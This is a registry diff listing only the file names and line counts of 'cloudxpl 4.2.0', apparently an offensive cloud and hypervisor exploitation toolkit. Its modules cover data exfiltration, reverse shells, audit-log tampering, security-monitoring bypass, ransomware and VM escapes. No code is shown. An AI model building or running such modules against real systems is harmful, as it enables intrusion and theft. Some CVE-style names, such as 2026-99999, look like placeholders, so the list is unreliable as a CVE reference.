cloudxpl 4.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- cloudxpl/__init__.py +8 -0
- cloudxpl/__main__.py +188 -0
- cloudxpl/core/__init__.py +0 -0
- cloudxpl/core/credential.py +37 -0
- cloudxpl/core/dispatcher.py +575 -0
- cloudxpl/core/identity_resolver.py +192 -0
- cloudxpl/core/policy_engine.py +198 -0
- cloudxpl/core/shell_mixin.py +96 -0
- cloudxpl/core/shells/__init__.py +47 -0
- cloudxpl/modules/__init__.py +0 -0
- cloudxpl/modules/alibaba/__init__.py +0 -0
- cloudxpl/modules/alibaba/cloudtoolkit_bridge.py +40 -0
- cloudxpl/modules/alibaba/cve_2026_19339.py +40 -0
- cloudxpl/modules/alibaba/ecs_enum.py +40 -0
- cloudxpl/modules/alibaba/ecs_metadata.py +40 -0
- cloudxpl/modules/alibaba/oss_enum.py +40 -0
- cloudxpl/modules/alibaba/oss_exploit.py +40 -0
- cloudxpl/modules/alibaba/ram_enum.py +40 -0
- cloudxpl/modules/alibaba/rds_enum.py +40 -0
- cloudxpl/modules/aws/__init__.py +0 -0
- cloudxpl/modules/aws/cloudformation_exploit.py +61 -0
- cloudxpl/modules/aws/cloudtrail_disable.py +66 -0
- cloudxpl/modules/aws/cloudtrail_tamper.py +59 -0
- cloudxpl/modules/aws/codebuild_exploit.py +62 -0
- cloudxpl/modules/aws/codepipeline_exploit.py +62 -0
- cloudxpl/modules/aws/cognito_exploit.py +71 -0
- cloudxpl/modules/aws/cve_2024_28056.py +59 -0
- cloudxpl/modules/aws/cve_2026_5707.py +59 -0
- cloudxpl/modules/aws/cve_2026_5708.py +40 -0
- cloudxpl/modules/aws/cve_2026_5709.py +40 -0
- cloudxpl/modules/aws/dynamodb_enum.py +54 -0
- cloudxpl/modules/aws/ebs_snapshot.py +67 -0
- cloudxpl/modules/aws/ec2_enum.py +69 -0
- cloudxpl/modules/aws/ec2_imds_pivot.py +86 -0
- cloudxpl/modules/aws/ec2_ssm.py +64 -0
- cloudxpl/modules/aws/ec2_userdata.py +70 -0
- cloudxpl/modules/aws/ecr_enum.py +64 -0
- cloudxpl/modules/aws/ecs_exploit.py +77 -0
- cloudxpl/modules/aws/eks_enum.py +67 -0
- cloudxpl/modules/aws/eks_exploit.py +66 -0
- cloudxpl/modules/aws/eventbridge_exploit.py +65 -0
- cloudxpl/modules/aws/glue_exploit.py +63 -0
- cloudxpl/modules/aws/guardduty_bypass.py +71 -0
- cloudxpl/modules/aws/iam_enum.py +101 -0
- cloudxpl/modules/aws/iam_privesc.py +92 -0
- cloudxpl/modules/aws/lambda_enum.py +85 -0
- cloudxpl/modules/aws/lambda_inject.py +79 -0
- cloudxpl/modules/aws/lambda_persist.py +69 -0
- cloudxpl/modules/aws/org_enum.py +58 -0
- cloudxpl/modules/aws/pacu_bridge.py +45 -0
- cloudxpl/modules/aws/rds_enum.py +64 -0
- cloudxpl/modules/aws/rds_exploit.py +57 -0
- cloudxpl/modules/aws/route53_takeover.py +63 -0
- cloudxpl/modules/aws/s3_enum.py +96 -0
- cloudxpl/modules/aws/s3_exfil.py +60 -0
- cloudxpl/modules/aws/s3_exploit.py +85 -0
- cloudxpl/modules/aws/secrets_manager.py +62 -0
- cloudxpl/modules/aws/sns_exploit.py +66 -0
- cloudxpl/modules/aws/sqs_exploit.py +62 -0
- cloudxpl/modules/aws/ssm_param_store.py +69 -0
- cloudxpl/modules/aws/sso_enum.py +63 -0
- cloudxpl/modules/aws/ssrf_imds.py +97 -0
- cloudxpl/modules/aws/stepfunctions_exploit.py +57 -0
- cloudxpl/modules/aws/sts_enum.py +70 -0
- cloudxpl/modules/aws/vpc_enum.py +66 -0
- cloudxpl/modules/azure/__init__.py +0 -0
- cloudxpl/modules/azure/aks_enum.py +85 -0
- cloudxpl/modules/azure/aks_exploit.py +85 -0
- cloudxpl/modules/azure/app_service_exploit.py +85 -0
- cloudxpl/modules/azure/arm_injection.py +144 -0
- cloudxpl/modules/azure/automation_exploit.py +85 -0
- cloudxpl/modules/azure/azure_functions_escape.py +29 -0
- cloudxpl/modules/azure/azurehound_bridge.py +85 -0
- cloudxpl/modules/azure/azurescape.py +41 -0
- cloudxpl/modules/azure/azurescape_bridge.py +29 -0
- cloudxpl/modules/azure/blob_exfil.py +85 -0
- cloudxpl/modules/azure/blob_exploit.py +85 -0
- cloudxpl/modules/azure/conditional_access.py +85 -0
- cloudxpl/modules/azure/cosmosdb_exploit.py +85 -0
- cloudxpl/modules/azure/cve_2024_50603.py +85 -0
- cloudxpl/modules/azure/cve_2025_29813.py +85 -0
- cloudxpl/modules/azure/cve_2025_29827.py +85 -0
- cloudxpl/modules/azure/cve_2025_29972.py +85 -0
- cloudxpl/modules/azure/cve_2025_53767.py +85 -0
- cloudxpl/modules/azure/cve_2026_20965.py +41 -0
- cloudxpl/modules/azure/defender_bypass.py +85 -0
- cloudxpl/modules/azure/devops_exploit.py +85 -0
- cloudxpl/modules/azure/entra_consent.py +85 -0
- cloudxpl/modules/azure/entra_enum.py +85 -0
- cloudxpl/modules/azure/entra_privesc.py +85 -0
- cloudxpl/modules/azure/entra_tokens.py +85 -0
- cloudxpl/modules/azure/fabricscape.py +41 -0
- cloudxpl/modules/azure/fabricscape_cve_2022_30137.py +30 -0
- cloudxpl/modules/azure/function_exploit.py +85 -0
- cloudxpl/modules/azure/function_persist.py +85 -0
- cloudxpl/modules/azure/functions_escape.py +41 -0
- cloudxpl/modules/azure/graph_api_abuse.py +85 -0
- cloudxpl/modules/azure/keyvault_exploit.py +85 -0
- cloudxpl/modules/azure/logic_apps_exploit.py +85 -0
- cloudxpl/modules/azure/managed_identity.py +115 -0
- cloudxpl/modules/azure/nsg_enum.py +85 -0
- cloudxpl/modules/azure/pim_abuse.py +85 -0
- cloudxpl/modules/azure/rbac_enum.py +85 -0
- cloudxpl/modules/azure/rbac_exploit.py +85 -0
- cloudxpl/modules/azure/resource_group_enum.py +85 -0
- cloudxpl/modules/azure/sentinel_bypass.py +85 -0
- cloudxpl/modules/azure/service_principal.py +85 -0
- cloudxpl/modules/azure/sql_enum.py +85 -0
- cloudxpl/modules/azure/sql_exploit.py +85 -0
- cloudxpl/modules/azure/storage_enum.py +94 -0
- cloudxpl/modules/azure/stormspotter_bridge.py +85 -0
- cloudxpl/modules/azure/subscription_enum.py +72 -0
- cloudxpl/modules/azure/vm_enum.py +85 -0
- cloudxpl/modules/azure/vm_exploit.py +85 -0
- cloudxpl/modules/azure/vm_imds.py +85 -0
- cloudxpl/modules/cicd/__init__.py +0 -0
- cloudxpl/modules/cicd/cicd_secret_dump.py +22 -0
- cloudxpl/modules/cicd/circleci_runner_escape.py +22 -0
- cloudxpl/modules/cicd/gha_runner_escape.py +22 -0
- cloudxpl/modules/cicd/gha_supply_chain.py +22 -0
- cloudxpl/modules/cicd/gitlab_ci_rce.py +22 -0
- cloudxpl/modules/cicd/gitlab_runner_hijack.py +22 -0
- cloudxpl/modules/cicd/jenkins_agent_abuse.py +22 -0
- cloudxpl/modules/cicd/jenkins_plugin_privesc.py +22 -0
- cloudxpl/modules/cicd/terraform_agent_abuse.py +22 -0
- cloudxpl/modules/cicd/terraform_token_leak.py +22 -0
- cloudxpl/modules/cred/__init__.py +0 -0
- cloudxpl/modules/cred/config_file_scan.py +85 -0
- cloudxpl/modules/cred/credential_report.py +85 -0
- cloudxpl/modules/cred/env_var_scan.py +85 -0
- cloudxpl/modules/cred/federation_abuse.py +85 -0
- cloudxpl/modules/cred/key_rotation_check.py +85 -0
- cloudxpl/modules/cred/leaked_key_exploit.py +85 -0
- cloudxpl/modules/cred/metadata_harvest.py +85 -0
- cloudxpl/modules/cred/mfa_relay.py +40 -0
- cloudxpl/modules/cred/oauth_token_theft.py +85 -0
- cloudxpl/modules/cred/rsa_netwitness_exploit.py +40 -0
- cloudxpl/modules/cred/rsa_securid_enum.py +40 -0
- cloudxpl/modules/cred/seed_theft_check.py +40 -0
- cloudxpl/modules/cred/temp_cred_extend.py +85 -0
- cloudxpl/modules/cred/token_lifetime_abuse.py +85 -0
- cloudxpl/modules/digitalocean/__init__.py +0 -0
- cloudxpl/modules/digitalocean/api_token_abuse.py +40 -0
- cloudxpl/modules/digitalocean/doks_enum.py +40 -0
- cloudxpl/modules/digitalocean/droplet_agent_rce.py +40 -0
- cloudxpl/modules/digitalocean/droplet_enum.py +40 -0
- cloudxpl/modules/digitalocean/firewall_enum.py +40 -0
- cloudxpl/modules/digitalocean/metadata_ssrf.py +40 -0
- cloudxpl/modules/digitalocean/spaces_enum.py +40 -0
- cloudxpl/modules/digitalocean/spaces_exploit.py +40 -0
- cloudxpl/modules/gcp/__init__.py +0 -0
- cloudxpl/modules/gcp/artifact_registry.py +85 -0
- cloudxpl/modules/gcp/bigquery_exploit.py +85 -0
- cloudxpl/modules/gcp/bucket_enum.py +84 -0
- cloudxpl/modules/gcp/bucket_exfil.py +85 -0
- cloudxpl/modules/gcp/bucket_exploit.py +85 -0
- cloudxpl/modules/gcp/cloud_armor_bypass.py +40 -0
- cloudxpl/modules/gcp/cloudbuild_exploit.py +85 -0
- cloudxpl/modules/gcp/cloudbuild_supply_chain.py +40 -0
- cloudxpl/modules/gcp/cloudfunctions_exploit.py +85 -0
- cloudxpl/modules/gcp/cloudfunctions_persist.py +85 -0
- cloudxpl/modules/gcp/cloudrun_exploit.py +85 -0
- cloudxpl/modules/gcp/cloudsql_enum.py +85 -0
- cloudxpl/modules/gcp/cloudsql_exploit.py +85 -0
- cloudxpl/modules/gcp/composer_exploit.py +85 -0
- cloudxpl/modules/gcp/compute_enum.py +85 -0
- cloudxpl/modules/gcp/compute_exploit.py +85 -0
- cloudxpl/modules/gcp/compute_imds.py +85 -0
- cloudxpl/modules/gcp/cve_2025_51591.py +85 -0
- cloudxpl/modules/gcp/cve_2026_2031.py +85 -0
- cloudxpl/modules/gcp/cve_2026_2264.py +85 -0
- cloudxpl/modules/gcp/cve_2026_31431.py +40 -0
- cloudxpl/modules/gcp/cve_2026_46300.py +40 -0
- cloudxpl/modules/gcp/cve_2026_81867.py +85 -0
- cloudxpl/modules/gcp/dataflow_exploit.py +85 -0
- cloudxpl/modules/gcp/dns_takeover.py +85 -0
- cloudxpl/modules/gcp/gcpbucketbrute_bridge.py +85 -0
- cloudxpl/modules/gcp/gke_autopilot_escape.py +40 -0
- cloudxpl/modules/gcp/gke_enum.py +85 -0
- cloudxpl/modules/gcp/gke_exploit.py +85 -0
- cloudxpl/modules/gcp/iam_privesc.py +85 -0
- cloudxpl/modules/gcp/iap_bypass.py +40 -0
- cloudxpl/modules/gcp/imagerunner_exploit.py +40 -0
- cloudxpl/modules/gcp/kms_exploit.py +85 -0
- cloudxpl/modules/gcp/logging_bypass.py +85 -0
- cloudxpl/modules/gcp/metadata_ssrf.py +94 -0
- cloudxpl/modules/gcp/org_policy_enum.py +85 -0
- cloudxpl/modules/gcp/project_enum.py +123 -0
- cloudxpl/modules/gcp/pubsub_exploit.py +85 -0
- cloudxpl/modules/gcp/sa_impersonate.py +85 -0
- cloudxpl/modules/gcp/sa_key_theft.py +85 -0
- cloudxpl/modules/gcp/secretmanager_exploit.py +85 -0
- cloudxpl/modules/gcp/service_account_enum.py +107 -0
- cloudxpl/modules/gcp/terraform_state.py +85 -0
- cloudxpl/modules/gcp/vpc_firewall_enum.py +85 -0
- cloudxpl/modules/gcp/wif_abuse.py +40 -0
- cloudxpl/modules/gcp/workload_identity.py +85 -0
- cloudxpl/modules/hetzner/__init__.py +0 -0
- cloudxpl/modules/hetzner/api_token_abuse.py +40 -0
- cloudxpl/modules/hetzner/firewall_enum.py +40 -0
- cloudxpl/modules/hetzner/floating_ip_hijack.py +40 -0
- cloudxpl/modules/hetzner/metadata_ssrf.py +40 -0
- cloudxpl/modules/hetzner/server_enum.py +40 -0
- cloudxpl/modules/ibm/__init__.py +0 -0
- cloudxpl/modules/ibm/cloudpak_exploit.py +40 -0
- cloudxpl/modules/ibm/cos_enum.py +40 -0
- cloudxpl/modules/ibm/cos_exploit.py +40 -0
- cloudxpl/modules/ibm/iam_enum.py +40 -0
- cloudxpl/modules/ibm/qradar_exploit.py +40 -0
- cloudxpl/modules/ibm/vpc_enum.py +40 -0
- cloudxpl/modules/k8s/__init__.py +0 -0
- cloudxpl/modules/k8s/admission_bypass.py +85 -0
- cloudxpl/modules/k8s/api_server_anon.py +85 -0
- cloudxpl/modules/k8s/cluster_enum.py +85 -0
- cloudxpl/modules/k8s/configmap_dump.py +85 -0
- cloudxpl/modules/k8s/container_cve_2026_52910.py +42 -0
- cloudxpl/modules/k8s/container_escape.py +85 -0
- cloudxpl/modules/k8s/crd_abuse.py +85 -0
- cloudxpl/modules/k8s/cve_2019_5736.py +40 -0
- cloudxpl/modules/k8s/cve_2021_30465.py +40 -0
- cloudxpl/modules/k8s/cve_2022_0492.py +40 -0
- cloudxpl/modules/k8s/cve_2022_0847.py +40 -0
- cloudxpl/modules/k8s/cve_2022_23648.py +40 -0
- cloudxpl/modules/k8s/cve_2024_0132.py +41 -0
- cloudxpl/modules/k8s/cve_2024_1753.py +41 -0
- cloudxpl/modules/k8s/cve_2024_21626.py +85 -0
- cloudxpl/modules/k8s/cve_2024_23651.py +41 -0
- cloudxpl/modules/k8s/cve_2024_23652.py +41 -0
- cloudxpl/modules/k8s/cve_2024_23653.py +41 -0
- cloudxpl/modules/k8s/cve_2025_23266.py +41 -0
- cloudxpl/modules/k8s/cve_2025_31133.py +85 -0
- cloudxpl/modules/k8s/cve_2025_52565.py +85 -0
- cloudxpl/modules/k8s/cve_2025_52881.py +85 -0
- cloudxpl/modules/k8s/etcd_exploit.py +85 -0
- cloudxpl/modules/k8s/helm_exploit.py +85 -0
- cloudxpl/modules/k8s/hostpath_mount.py +85 -0
- cloudxpl/modules/k8s/kube_hunter_bridge.py +85 -0
- cloudxpl/modules/k8s/kubelet_exploit.py +85 -0
- cloudxpl/modules/k8s/network_policy_bypass.py +85 -0
- cloudxpl/modules/k8s/node_proxy.py +85 -0
- cloudxpl/modules/k8s/peirates_bridge.py +85 -0
- cloudxpl/modules/k8s/pod_enum.py +85 -0
- cloudxpl/modules/k8s/pod_escape_cve.py +85 -0
- cloudxpl/modules/k8s/privileged_pod.py +85 -0
- cloudxpl/modules/k8s/rbac_enum.py +85 -0
- cloudxpl/modules/k8s/rbac_escalation.py +85 -0
- cloudxpl/modules/k8s/registry_exploit.py +85 -0
- cloudxpl/modules/k8s/runc_cve_2019_5736.py +41 -0
- cloudxpl/modules/k8s/runc_cve_2024_23651.py +30 -0
- cloudxpl/modules/k8s/runc_cve_2024_23652.py +30 -0
- cloudxpl/modules/k8s/runc_cve_2024_23653.py +30 -0
- cloudxpl/modules/k8s/sa_token_theft.py +85 -0
- cloudxpl/modules/k8s/secret_dump.py +85 -0
- cloudxpl/modules/k8s/service_mesh_exploit.py +85 -0
- cloudxpl/modules/k8s/sidecar_inject.py +85 -0
- cloudxpl/modules/multi/__init__.py +0 -0
- cloudxpl/modules/multi/ci_cd_exploit.py +85 -0
- cloudxpl/modules/multi/cloud_side_channel.py +41 -0
- cloudxpl/modules/multi/cloudfox_bridge.py +85 -0
- cloudxpl/modules/multi/cloudtoolkit_multi.py +40 -0
- cloudxpl/modules/multi/container_escape_collection_bridge.py +41 -0
- cloudxpl/modules/multi/cross_cloud_pivot.py +85 -0
- cloudxpl/modules/multi/docker_escape.py +85 -0
- cloudxpl/modules/multi/docker_socket.py +85 -0
- cloudxpl/modules/multi/firecracker_escape.py +41 -0
- cloudxpl/modules/multi/git_secret_scan.py +85 -0
- cloudxpl/modules/multi/github_actions_runner_exploit.py +29 -0
- cloudxpl/modules/multi/huawei_recon.py +40 -0
- cloudxpl/modules/multi/iac_secret_scan.py +85 -0
- cloudxpl/modules/multi/openstack_generic.py +40 -0
- cloudxpl/modules/multi/prowler_bridge.py +85 -0
- cloudxpl/modules/multi/scoutsuite_bridge.py +85 -0
- cloudxpl/modules/multi/steampipe_bridge.py +85 -0
- cloudxpl/modules/multi/terraform_plan_inject.py +85 -0
- cloudxpl/modules/multi/terraform_state_exploit.py +85 -0
- cloudxpl/modules/net/__init__.py +0 -0
- cloudxpl/modules/net/dns_takeover.py +85 -0
- cloudxpl/modules/net/exposed_services.py +85 -0
- cloudxpl/modules/net/load_balancer_enum.py +85 -0
- cloudxpl/modules/net/peering_abuse.py +85 -0
- cloudxpl/modules/net/privatelink_abuse.py +85 -0
- cloudxpl/modules/net/sg_analysis.py +85 -0
- cloudxpl/modules/net/vpc_enum.py +85 -0
- cloudxpl/modules/net/vpn_exploit.py +85 -0
- cloudxpl/modules/oci/__init__.py +0 -0
- cloudxpl/modules/oci/audit_bypass.py +40 -0
- cloudxpl/modules/oci/bucket_enum.py +40 -0
- cloudxpl/modules/oci/bucket_exploit.py +40 -0
- cloudxpl/modules/oci/compute_enum.py +40 -0
- cloudxpl/modules/oci/cve_2025_61882.py +40 -0
- cloudxpl/modules/oci/cve_2026_21962.py +40 -0
- cloudxpl/modules/oci/iam_enum.py +40 -0
- cloudxpl/modules/oci/metadata_ssrf.py +40 -0
- cloudxpl/modules/oci/ocinfernobridge.py +40 -0
- cloudxpl/modules/oci/volume_attach.py +40 -0
- cloudxpl/modules/ovh/__init__.py +0 -0
- cloudxpl/modules/ovh/api_abuse.py +40 -0
- cloudxpl/modules/ovh/bare_metal_ipmi.py +40 -0
- cloudxpl/modules/ovh/email_spoof.py +40 -0
- cloudxpl/modules/ovh/openstack_enum.py +40 -0
- cloudxpl/modules/ovh/swift_exploit.py +40 -0
- cloudxpl/modules/ovh/vrack_lateral.py +40 -0
- cloudxpl/modules/paas/__init__.py +0 -0
- cloudxpl/modules/paas/aci_azurescape.py +22 -0
- cloudxpl/modules/paas/appservice_sandbox_escape.py +22 -0
- cloudxpl/modules/paas/beanstalk_escape.py +22 -0
- cloudxpl/modules/paas/cloudrun_runc_escape.py +22 -0
- cloudxpl/modules/paas/fargate_firecracker.py +22 -0
- cloudxpl/modules/paas/gcp_appint_sandbox.py +22 -0
- cloudxpl/modules/paas/heroku_dyno_recon.py +22 -0
- cloudxpl/modules/paas/lambda_tmp_persist.py +22 -0
- cloudxpl/modules/paas/paas_metadata_pivot.py +22 -0
- cloudxpl/modules/paas/railway_escape.py +22 -0
- cloudxpl/modules/serverless/__init__.py +0 -0
- cloudxpl/modules/serverless/api_gateway_bypass.py +85 -0
- cloudxpl/modules/serverless/cold_start_abuse.py +85 -0
- cloudxpl/modules/serverless/concurrency_abuse.py +85 -0
- cloudxpl/modules/serverless/env_extraction.py +85 -0
- cloudxpl/modules/serverless/event_injection.py +85 -0
- cloudxpl/modules/serverless/iam_role_chain.py +85 -0
- cloudxpl/modules/serverless/layer_poisoning.py +85 -0
- cloudxpl/modules/serverless/log_injection.py +85 -0
- cloudxpl/modules/serverless/reverse_shell.py +85 -0
- cloudxpl/modules/serverless/runtime_rce.py +85 -0
- cloudxpl/modules/serverless/step_function_abuse.py +85 -0
- cloudxpl/modules/serverless/tmp_persistence.py +85 -0
- cloudxpl/modules/serverless/trigger_hijack.py +85 -0
- cloudxpl/modules/serverless/vpc_pivot.py +85 -0
- cloudxpl/modules/storage/__init__.py +0 -0
- cloudxpl/modules/storage/acl_check.py +85 -0
- cloudxpl/modules/storage/bucket_bruteforce.py +85 -0
- cloudxpl/modules/storage/bucket_finder.py +85 -0
- cloudxpl/modules/storage/bucketloot_bridge.py +85 -0
- cloudxpl/modules/storage/cors_exploit.py +85 -0
- cloudxpl/modules/storage/download_mass.py +85 -0
- cloudxpl/modules/storage/grayhat_search.py +85 -0
- cloudxpl/modules/storage/policy_abuse.py +85 -0
- cloudxpl/modules/storage/presigned_abuse.py +85 -0
- cloudxpl/modules/storage/public_objects.py +85 -0
- cloudxpl/modules/storage/ransomware_sim.py +85 -0
- cloudxpl/modules/storage/s3scanner_bridge.py +85 -0
- cloudxpl/modules/storage/static_site_takeover.py +85 -0
- cloudxpl/modules/storage/upload_exploit.py +85 -0
- cloudxpl/modules/storage/versioning_exploit.py +85 -0
- cloudxpl/modules/tencent/__init__.py +0 -0
- cloudxpl/modules/tencent/cam_enum.py +40 -0
- cloudxpl/modules/tencent/cloudtoolkit_bridge.py +40 -0
- cloudxpl/modules/tencent/cos_enum.py +40 -0
- cloudxpl/modules/tencent/cos_exploit.py +40 -0
- cloudxpl/modules/tencent/cve_2026_30859.py +40 -0
- cloudxpl/modules/tencent/cvm_metadata.py +40 -0
- cloudxpl/modules/vdi/__init__.py +0 -0
- cloudxpl/modules/vdi/avd_privesc.py +22 -0
- cloudxpl/modules/vdi/citrix_session_recording_rce.py +22 -0
- cloudxpl/modules/vdi/citrix_vda_lpe.py +22 -0
- cloudxpl/modules/vdi/citrix_vdi_cve_2025_6759.py +30 -0
- cloudxpl/modules/vdi/horizon_escape.py +22 -0
- cloudxpl/modules/vdi/vdi_breakout_clipboard.py +22 -0
- cloudxpl/modules/vdi/vdi_breakout_dialog.py +22 -0
- cloudxpl/modules/vdi/vdi_breakout_drive.py +22 -0
- cloudxpl/modules/vdi/vdi_breakout_print.py +22 -0
- cloudxpl/modules/vdi/vdi_breakout_usb.py +22 -0
- cloudxpl/modules/vdi/vdi_kiosk_escape.py +22 -0
- cloudxpl/modules/vdi/workspaces_lpe.py +22 -0
- cloudxpl/modules/virt/__init__.py +0 -0
- cloudxpl/modules/virt/amd_microcode_cve_2024_56161.py +30 -0
- cloudxpl/modules/virt/awesome_hyperv_bridge.py +33 -0
- cloudxpl/modules/virt/awesome_vm_exploit_bridge.py +33 -0
- cloudxpl/modules/virt/citrix_cve_2026_53562.py +30 -0
- cloudxpl/modules/virt/citrix_escape.py +40 -0
- cloudxpl/modules/virt/citrix_vapd_exploit.py +34 -0
- cloudxpl/modules/virt/citrix_vdi_cve_2025_6759.py +30 -0
- cloudxpl/modules/virt/citrix_xsa_486.py +40 -0
- cloudxpl/modules/virt/container_cve_2026_80521.py +42 -0
- cloudxpl/modules/virt/container_escape_collection_bridge.py +33 -0
- cloudxpl/modules/virt/cve_2019_5544.py +40 -0
- cloudxpl/modules/virt/cve_2020_3952.py +40 -0
- cloudxpl/modules/virt/cve_2020_3992.py +40 -0
- cloudxpl/modules/virt/cve_2021_21972.py +40 -0
- cloudxpl/modules/virt/cve_2021_21974.py +40 -0
- cloudxpl/modules/virt/cve_2021_21985.py +40 -0
- cloudxpl/modules/virt/cve_2021_22005.py +40 -0
- cloudxpl/modules/virt/cve_2022_22954.py +40 -0
- cloudxpl/modules/virt/cve_2022_31705.py +40 -0
- cloudxpl/modules/virt/cve_2023_20867.py +40 -0
- cloudxpl/modules/virt/cve_2023_34048.py +40 -0
- cloudxpl/modules/virt/cve_2024_37085.py +40 -0
- cloudxpl/modules/virt/cve_2025_22225.py +40 -0
- cloudxpl/modules/virt/cve_2025_22226.py +40 -0
- cloudxpl/modules/virt/esxi_brute_bridge.py +33 -0
- cloudxpl/modules/virt/esxi_cve_2019_5544.py +30 -0
- cloudxpl/modules/virt/esxi_cve_2020_3992.py +30 -0
- cloudxpl/modules/virt/esxi_cve_2021_21974.py +30 -0
- cloudxpl/modules/virt/esxi_cve_2024_22252.py +41 -0
- cloudxpl/modules/virt/esxi_cve_2024_22253.py +41 -0
- cloudxpl/modules/virt/esxi_cve_2024_22254.py +41 -0
- cloudxpl/modules/virt/esxi_cve_2024_22255.py +41 -0
- cloudxpl/modules/virt/esxi_cve_2024_37085.py +30 -0
- cloudxpl/modules/virt/esxi_cve_2025_22224.py +40 -0
- cloudxpl/modules/virt/esxi_cve_2026_47876.py +30 -0
- cloudxpl/modules/virt/esxi_enum.py +40 -0
- cloudxpl/modules/virt/esxi_fingerprint_bridge.py +33 -0
- cloudxpl/modules/virt/esxi_log4shell.py +41 -0
- cloudxpl/modules/virt/esxi_ransomware.py +40 -0
- cloudxpl/modules/virt/esxi_ssh_exploit.py +40 -0
- cloudxpl/modules/virt/esxi_vm_escape.py +40 -0
- cloudxpl/modules/virt/firecracker_cve_2026_1386.py +30 -0
- cloudxpl/modules/virt/firecracker_cve_2026_5747.py +30 -0
- cloudxpl/modules/virt/firecracker_escape.py +40 -0
- cloudxpl/modules/virt/horizon_log4shell.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2019_0887.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2021_28476.py +40 -0
- cloudxpl/modules/virt/hyperv_cve_2021_34450.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2022_21995.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2022_30163.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2024_20700.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2024_21407.py +40 -0
- cloudxpl/modules/virt/hyperv_cve_2024_38080.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2024_49117.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2025_21333.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2025_21334.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2025_21335.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2026_40402.py +40 -0
- cloudxpl/modules/virt/hyperv_cve_2026_45607.py +30 -0
- cloudxpl/modules/virt/hyperv_cve_2026_45641.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2026_57092.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2026_69603.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2026_72961.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2026_80083.py +41 -0
- cloudxpl/modules/virt/hyperv_cve_2026_89927.py +41 -0
- cloudxpl/modules/virt/hyperv_enum.py +40 -0
- cloudxpl/modules/virt/hyperv_escape.py +40 -0
- cloudxpl/modules/virt/hyperv_remotefx.py +40 -0
- cloudxpl/modules/virt/hypervisor_resources_bridge.py +41 -0
- cloudxpl/modules/virt/intel_tdx_enum.py +29 -0
- cloudxpl/modules/virt/kata_cve_2026_24834.py +30 -0
- cloudxpl/modules/virt/kata_escape.py +40 -0
- cloudxpl/modules/virt/kvm_arm64_escape.py +40 -0
- cloudxpl/modules/virt/kvm_cve_2019_14835.py +40 -0
- cloudxpl/modules/virt/kvm_cve_2019_18389.py +40 -0
- cloudxpl/modules/virt/kvm_cve_2026_3842.py +41 -0
- cloudxpl/modules/virt/kvm_cve_2026_64561.py +41 -0
- cloudxpl/modules/virt/kvm_cve_2026_99999.py +41 -0
- cloudxpl/modules/virt/kvm_januscape.py +40 -0
- cloudxpl/modules/virt/libvirt_enum.py +40 -0
- cloudxpl/modules/virt/lolesxi_bridge.py +33 -0
- cloudxpl/modules/virt/msf_vmware_bridge.py +40 -0
- cloudxpl/modules/virt/nitro_sidechannel.py +29 -0
- cloudxpl/modules/virt/nutanix_cve_2018_7750.py +30 -0
- cloudxpl/modules/virt/nutanix_cve_2026_84731.py +30 -0
- cloudxpl/modules/virt/nutanix_enum.py +40 -0
- cloudxpl/modules/virt/qemu_cve_2019_14378.py +30 -0
- cloudxpl/modules/virt/qemu_cve_2019_18389.py +30 -0
- cloudxpl/modules/virt/qemu_cve_2020_14364.py +30 -0
- cloudxpl/modules/virt/qemu_cve_2023_6693.py +41 -0
- cloudxpl/modules/virt/qemu_cve_2024_3446.py +41 -0
- cloudxpl/modules/virt/qemu_cve_2024_4467.py +41 -0
- cloudxpl/modules/virt/qemu_cve_2024_49841.py +41 -0
- cloudxpl/modules/virt/qemu_cve_2024_6519.py +40 -0
- cloudxpl/modules/virt/qemu_dma_reentrancy.py +40 -0
- cloudxpl/modules/virt/qemu_rtl8139_chain.py +41 -0
- cloudxpl/modules/virt/qemu_slirp_escape.py +41 -0
- cloudxpl/modules/virt/qemu_slirp_escape_bridge.py +42 -0
- cloudxpl/modules/virt/qemu_virtio_exploit.py +40 -0
- cloudxpl/modules/virt/sev_snp_enum.py +29 -0
- cloudxpl/modules/virt/sidechannel_cachewarp.py +30 -0
- cloudxpl/modules/virt/sidechannel_ddrop.py +29 -0
- cloudxpl/modules/virt/sidechannel_downfall.py +30 -0
- cloudxpl/modules/virt/sidechannel_inception.py +30 -0
- cloudxpl/modules/virt/sidechannel_wesee.py +30 -0
- cloudxpl/modules/virt/sidechannel_zenbleed.py +30 -0
- cloudxpl/modules/virt/vcenter_cve_2020_3952.py +30 -0
- cloudxpl/modules/virt/vcenter_cve_2021_21972.py +30 -0
- cloudxpl/modules/virt/vcenter_cve_2021_22005.py +34 -0
- cloudxpl/modules/virt/vcenter_cve_2021_44228.py +34 -0
- cloudxpl/modules/virt/vcenter_cve_2024_22252.py +30 -0
- cloudxpl/modules/virt/vcenter_cve_2024_22274.py +30 -0
- cloudxpl/modules/virt/vcenter_cve_2024_37079.py +40 -0
- cloudxpl/modules/virt/vcenter_cve_2024_37080.py +41 -0
- cloudxpl/modules/virt/vcenter_cve_2024_37081.py +30 -0
- cloudxpl/modules/virt/vcenter_cve_2024_38812.py +41 -0
- cloudxpl/modules/virt/vcenter_cve_2024_38813.py +41 -0
- cloudxpl/modules/virt/vcenter_cve_2025_41225.py +41 -0
- cloudxpl/modules/virt/vcenter_cve_2026_59309.py +40 -0
- cloudxpl/modules/virt/vcenter_cve_2026_59310.py +40 -0
- cloudxpl/modules/virt/vcenter_exploit.py +40 -0
- cloudxpl/modules/virt/vcenter_saml_bypass.py +41 -0
- cloudxpl/modules/virt/vcenter_secrets_dump.py +33 -0
- cloudxpl/modules/virt/vcenter_vmdir_bridge.py +34 -0
- cloudxpl/modules/virt/vcenterkit_bridge.py +40 -0
- cloudxpl/modules/virt/vdi_breakout.py +40 -0
